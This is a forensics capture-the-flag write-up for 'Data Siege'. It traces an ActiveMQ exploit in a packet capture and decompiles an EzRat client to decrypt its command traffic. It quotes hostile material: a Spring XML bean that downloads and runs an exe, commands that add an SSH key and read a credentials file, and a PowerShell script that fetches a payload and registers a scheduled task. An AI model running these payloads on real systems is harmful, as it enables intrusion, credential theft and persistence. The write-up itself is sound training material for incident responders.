Skip to content

Latest commit

 

History

History
 
 

[Medium] Data Siege

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Data Siege

07th February 2024 / Document No. D24.102.XX

Prepared By: Nauten, thewildspirit

Challenge Author(s): Nauten

Difficulty: Medium

Classification: Official

Synopsis

Data siege is a medium forensics challenge involving analyzing the .pcap, understanding that ActiveMQ vulnerability is the entry point, extracting a .NET compiled exe binary, analyzing it, and recovering the information needed to obtain the flag (decrypting the communication between client and server).

Description

  • It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the communication backbone. Note: Flag is split into three parts.

Skills Required

  • Familiarity with network protocol analyzers
  • Familiarity with .NET programming languages

Skills Learned

  • Network analysis
  • Decompiling .NET executables
  • Decrypting encrypted network traffic
  • Analyzing and investigating open-source RAT software

Enumeration

Players are provided with the following file:

  • capture.pcap

Let's analyze the pcap file in order.

There is some traffic exchanged on port `61616``. This one corresponds to ActiveMQ.

And, in one of these requests there is this information:

ProviderVersion	..5.18.2

CVE is reported for this version: https://nvd.nist.gov/vuln/detail/CVE-2023-46604 (RCE). This is the attacker's entry point.

There is this request:

GET /nBISC4YJKs7j4I HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.19
Host: 10.10.10.21:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Content-Type: application/xml
Connection: Keep-Alive
Pragma: no-cache
Server: Apache
Content-Length: 651

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>cmd.exe</value>
      <value>/c</value>
      <value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
    </list>
  </constructor-arg>
</bean>
</beans>

An exe file gets downloaded and executed.

GET /aQ4caZ.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.316
Host: 10.10.10.21:8000
Connection: Keep-Alive

The connection is HTTP so we can exfiltrate aQ4caZ.exe file content.

On Wireshark use the option:

Export objects -> HTTP -> select the .exe file and save it.

There is some traffic on port 1234 (nonstandard), the data seems to be encrypted.

$ file aQ4caZ.exe 
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Open the exfiltrated .exe file with dnSpy.

It shows the name "EzRatClient", this also leads to the repo that contains base code (also if it's not strictly needed):

https://github.com/Exo-poulpe/EZRAT

Let's focus on the "Program" section.

Solution

It's possible to see the Decrypt function:

public static string Decrypt(string cipherText)
{
    string result;
    try
    {
        string encryptKey = Constantes.EncryptKey;
        byte[] array = Convert.FromBase64String(cipherText);
        using (Aes aes = Aes.Create())
        {
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[]
            {
                86,
                101,
                114,
                121,
                95,
                83,
                51,
                99,
                114,
                51,
                116,
                95,
                83
            });
            aes.Key = rfc2898DeriveBytes.GetBytes(32);
            aes.IV = rfc2898DeriveBytes.GetBytes(16);
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cryptoStream.Write(array, 0, array.Length);
                    cryptoStream.Close();
                }
                cipherText = Encoding.Default.GetString(memoryStream.ToArray());
            }
        }
        result = cipherText;
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
        Console.WriteLine("Cipher Text: " + cipherText);
        result = "error";
    }
    return result;
}

There is a key provided inside rfc2898DeriveBytes object.

And also a reference to encryptKey that is contained inside constantes.cs:

private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";

In this way, it's possible to decode the encrypted traffic.

Traffic Analysis

Command parser:

private static string[] GetCommands(string rawData)
{
	List<string> list = new List<string>();
	int num = 0;
	for (int i = 0; i < rawData.Length; i++)
	{
		char c = rawData[i];
		bool flag = c == '§';
		if (flag)
		{
			int num2 = int.Parse(rawData.Substring(num, i - num));
			string item = rawData.Substring(i + 1, num2);
			i += 1 + num2;
			num = i;
			list.Add(item);
		}
	}
	return list.ToArray();
}

Looking at the pcap dump it's possible to notice this structure:

24§1BhuY4/niTopIBHAN6vvmQ==
gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw

Combining the information it's more clear that:

24 in this case is the length of the string that is next to the § character. The second line is the response.

So when the string contains § character is a command, in other cases is a response.

It's also possible to filter on streams (using Wireshark) separating requests and responses.

The response handler code:

private static void ReceiveResponse()
{
	byte[] array = new byte[4096];
	try
	{
		int num = Program._clientSocket.Receive(array, SocketFlags.None);
		bool flag = num == 0;
		if (!flag)
		{
			byte[] array2 = new byte[num];
			Array.Copy(array, array2, num);
			bool flag2 = Program.isFileDownload;
			if (flag2)
			{
				Buffer.BlockCopy(array2, 0, Program.recvFile, Program.writeSize, array2.Length);
				Program.writeSize += array2.Length;
				bool flag3 = Program.writeSize == Program.fup_size;
				if (flag3)
				{
					using (FileStream fileStream = File.Create(Program.fup_location))
					{
						byte[] array3 = Program.recvFile;
						fileStream.Write(array3, 0, array3.Length);
					}
					Array.Clear(Program.recvFile, 0, Program.recvFile.Length);
					Program.SendCommand("frecv");
					Program.writeSize = 0;
					Program.isFileDownload = false;
				}
			}
			else
			{
				string @string = Encoding.Default.GetString(array2);
				Console.WriteLine(@string);
				string[] commands = Program.GetCommands(@string);
				foreach (string cipherText in commands)
				{
					Program.HandleCommand(Program.Decrypt(cipherText));
				}
			}
		}
	}
	catch (Exception ex)
	{
		Console.WriteLine("Connection ended\n" + ex.Message);
		Program.isDisconnect = true;
	}
}

A different handling is managed for file transfers.

With all this information we can decode the traffic.

Putting pieces together

Extract all traffic on port 1234 as "Raw" format saving it to output.txt file:

tshark -r capture.pcap -T fields -e data -Y "tcp.port == 1234" > output.txt  

In this way, each row is encoded as HEX (without the risk of losing characters due to encoding).

using System;
using System.Security.Cryptography;
using System.IO;
using System.Text;

namespace Decode1
{
    public class Program
    {
        static void Main(string[] args)
        {
            string content = File.ReadAllText(@"c:\users\user\desktop\ez\output.txt");

            var check_new_line = content.IndexOf('\n');
            if (check_new_line > 0)
            {
                string[] contents_split = content.Split('\n');
                foreach (string content_split in contents_split)
                {
                    Parser(content_split);
                }
            }
            else
            {
                Parser(content);
            }

            Console.WriteLine("Press any key to exit..");
            Console.ReadLine();
        }

        static void Parser(string content)
        {
            byte[] bytes = FromHexString(content);
            string contentraw = Encoding.GetEncoding("windows-1252").GetString(bytes);

            if (!string.IsNullOrEmpty(contentraw))
            {
                if (contentraw.Contains("§"))
                {
                    Console.WriteLine("Request:");
                    Console.WriteLine(Decrypt(contentraw.Split('§')[1]));
                }
                else
                {
                    // Chunks should be concatenated manually to obtain the complete data because data is splitted on multiple streams sometimes
                    Console.WriteLine("Response chunk:");
                    string decoded = Decrypt(contentraw);

                    // Content is already in plaintext
                    if (String.IsNullOrEmpty(decoded))
                        Console.WriteLine(contentraw);
                    else
                        Console.WriteLine(decoded);
                }
            }
        }
        static byte[] FromHexString(string hexString)
        {
            byte[] bytes = new byte[hexString.Length / 2];
            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] = Convert.ToByte(hexString.Substring(i * 2, 2), 16);
            }
            return bytes;
        }

        static string Decrypt(string cipherText)
        {
            try
            {
                string EncryptionKey = "VYAemVeO3zUDTL6N62kVA";
                byte[] cipherBytes = System.Convert.FromBase64String(cipherText);
                using (Aes encryptor = Aes.Create())
                {
                    Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x56, 0x65, 0x72, 0x79, 0x5f, 0x53, 0x33, 0x63, 0x72, 0x33, 0x74, 0x5f, 0x53 });
                    encryptor.Key = pdb.GetBytes(32);
                    encryptor.IV = pdb.GetBytes(16);
                    using (MemoryStream ms = new MemoryStream())
                    {
                        using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write))
                        {
                            cs.Write(cipherBytes, 0, cipherBytes.Length);
                            cs.Close();
                        }
                        cipherText = Encoding.Default.GetString(ms.ToArray());
                    }
                }
                return cipherText;
            }
            catch (Exception)
            {
                return null;
            }
        }
    }
}

Analyzing the output in order

getinfo command is used to get basic OS information

Request:
getinfo-0
Response chunk:
infoback;0;10.10.10.22|SRV01|SRV01\svc01|Windows 10 Enterprise Evaluation|0.1.6.1

procview function is used to see running processes

Request:
procview;
Response chunk:
procview;svchost▌2060;svchost▌5316;ApplicationFrameHost▌4920;csrss▌388;svchost▌1372;svchost▌832;VBoxTray▌2748;fontdrvhost▌684;services▌576;svchost▌3528;lsass▌584;svchost▌6872;svchost▌1552;spoolsv▌1748;VBoxService▌1156;svchost▌760;conhost▌4108;svchost▌1152;dllhost▌6864;svchost▌2528;svchost▌1936;Memory Compression▌1428;RuntimeBroker▌4692;svchost▌4112;svchost▌1932;svchost▌748;smss▌284;svchost▌1140;svchost▌6852;svchost▌2320;MicrosoftEdge▌5076;svchost▌1332;svchost▌740;svchost▌3888;conhost▌4896;dwm▌340;java▌6052;svchost▌928;svchost▌3488;YourPhone▌1320;svchost▌1516;dllhost▌4204;SearchUI▌4664;svchost▌328;winlogon▌524;SgrmBroker▌6628;svchost▌2096;svchost▌1504;cmd▌2488;svchost▌1304;NisSrv▌2336;MicrosoftEdgeSH▌5636;svchost▌1104;browser_broker▌4592;svchost▌1100;svchost▌5284;explorer▌4052;svchost▌1164;svchost▌2076;svchost▌1680;aQ4caZ▌7148;svchost▌692;svchost▌100;dumpcap▌3516;MsMpEng▌2260;RuntimeBroker▌4820;svchost▌1272;Microsoft.Photos▌6392;svchost▌3436;fontdrvhost▌676;cmd▌84;taskhostw▌3628;RuntimeBroker▌6188;RuntimeBroker▌1384;java▌7028;MicrosoftEdgeCP▌5592;svchost▌1256;svchost▌3816;csrss▌464;Registry▌68;sihost▌3416;SecurityHealthSystray▌3156;svchost▌6368;svchost▌6564;wininit▌456;ctfmon▌3940;svchost▌1636;SecurityHealthService▌844;svchost▌1040;svchost▌2024;svchost▌6980;svchost▌1628;svchost▌1824;svchost▌1288;wlms▌2216;RuntimeBroker▌5564;svchost▌5364;svchost▌1620;svchost▌2012;svchost▌396;svchost▌6540;RuntimeBroker▌6780;WindowsInternal.ComposableShell.Experiences.TextInput.InputApp▌2200;svchost▌1604;svchost▌788;svchost▌1400;uhssvc▌6824;SearchIndexer▌5532;svchost▌4940;svchost▌3560;svchost▌1392;svchost▌1588;svchost▌1784;wrapper▌2176;svchost▌2568;ShellExperienceHost▌4536;System▌4;conhost▌2368;OneDrive▌1184;svchost▌1472;Idle▌0;

Nothing useful

cmd function is used to run some commands on the remote machine

Request:
cmd;C:\;hostname
Response chunk:
cmd;C:\;srv01

Request:
cmd;C:\;whoami
Response chunk:
cmd;C:\;srv01\svc01

Request:
cmd;C:\;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwyPZCQyJ/s45lt+cRqPhJj5qrSqd8cvhUaDhwsAemRey2r7Ta+wLtkWZobVIFS4HGzRobAw9s3hmFaCKI8GvfgMsxDSmb0bZcAAkl7cMzhA1F418CLlghANAPFM6Aud7DlJZUtJnN2BiTqbrjPmBuTKeBxjtI0uRTXt4JvpDKx9aCMNEDKGcKVz0KX/hejjR/Xy0nJxHWKgudEz3je31cVow6kKqp3ZUxzZz9BQlxU5kRp4yhUUxo3Fbomo6IsmBydqQdB+LbHGURUFLYWlWEy+1otr6JBwpAfzwZOYVEfLypl3Sjg+S6Fd1cH6jBJp/mG2R2zqCKt3jaWH5SJz13 HTB{REDACTED >> C:\Users\svc01\.ssh\authorized_keys
Response chunk:
cmd;C:\;
Request:
cmd;C:\;dir C:\Users\svc01\Documents
Response chunk:
cmd;C:\; Volume in drive C is Windows 10
 Volume Serial Number is B4A6-FEC6

 Directory of C:\Users\svc01\Documents

02/28/2024  07:13 AM    <DIR>          .
02/28/2024  07:13 AM    <DIR>          ..
02/28/2024  05:14 AM                76 credentials.txt
               1 File(s)             76 bytes
               2 Dir(s)  24,147,230,720 bytes free

Request:
cmd;C:\;type C:\Users\svc01\Documents\credentials.txt
Response chunk:
cmd;C:\;Username: svc01
Password: Passw0rdCorp5421

2nd flag part: REDACTED

lsdrives used to enumerate mapped drives on the machine

lsfiles used to list files of the folder c:\temp

Request:
lsdrives
Response chunk:
lsdrives;C:\|
Request:
lsfiles
Request:

Response chunk:
lsfiles;C:\;$Recycle.Bin▌2|BGinfo▌2|Boot▌2|Documents and Settings▌2|PerfLogs▌2|Program Files▌2|Program Files (x86)▌2|ProgramData▌2|Recovery▌2|System Volume Information▌2|temp▌2|Users▌2|Windows▌2|bootmgr▌1▌408364|BOOTNXT▌1▌1|BOOTSECT.BAK▌1▌8192|bootTel.dat▌1▌80|pagefile.sys▌1▌738197504|swapfile.sys▌1▌268435456|
Response chunk:
lsfiles;C:\;$Recycle.Bin▌2|BGinfo▌2|Boot▌2|Documents and Settings▌2|PerfLogs▌2|Program Files▌2|Program Files (x86)▌2|ProgramData▌2|Recovery▌2|System Volume Information▌2|temp▌2|Users▌2|Windows▌2|bootmgr▌1▌408364|BOOTNXT▌1▌1|BOOTSECT.BAK▌1▌8192|bootTel.dat▌1▌80|pagefile.sys▌1▌738197504|swapfile.sys▌1▌268435456|
Request:
lsfiles-C:\temp\
Response chunk:
lsfiles;C:\temp\;aQ4caZ.exe▌1▌29184|

And then a file is uploaded there:

Request:
upfile;C:\temp\4AcFrqA.ps1
Response chunk:
powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
AcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB
Response chunk:
1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8
Response chunk:
upfilestop;

We can see that the response is split into two chunks with the content of file 4AcFrqA.ps1.

The part we need is the one enclosed in double quotes, decoding it from base64 and removing diatrics gives:

(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")
$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"
$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM
$settings = New-ScheduledTaskSettingsSet
# 3th flag part:
Register-ScheduledTask -TaskName "REDACTED}" -Action $action -Trigger $trigger -Settings $settings

Concatenating all flags parts the full flag can be obtained.